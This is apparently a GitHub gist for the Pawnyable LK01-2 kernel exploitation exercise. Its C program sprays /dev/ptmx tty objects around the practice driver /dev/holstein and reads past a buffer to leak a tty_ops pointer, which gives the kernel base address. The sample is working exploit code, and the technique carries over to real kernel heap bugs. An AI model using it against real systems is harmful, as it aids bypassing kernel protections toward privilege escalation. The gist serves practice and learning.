Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active November 25, 2022 01:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brant-ruan/c5816e0198fd25d87a30bd34eaf45cf3 to your computer and use it in GitHub Desktop.
Save brant-ruan/c5816e0198fd25d87a30bd34eaf45cf3 to your computer and use it in GitHub Desktop.
Pawnyable LK01-2
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define ofs_tty_ops 0xc38880
unsigned long kbase;
int main() {
int spray[100];
for (int i = 0; i < 50; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1)
perror("open");
for (int i = 50; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
char buf[0x500];
read(fd, buf, 0x500);
kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
getchar();
close(fd);
for (int i = 0; i < 100; i++)
close(spray[i]);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment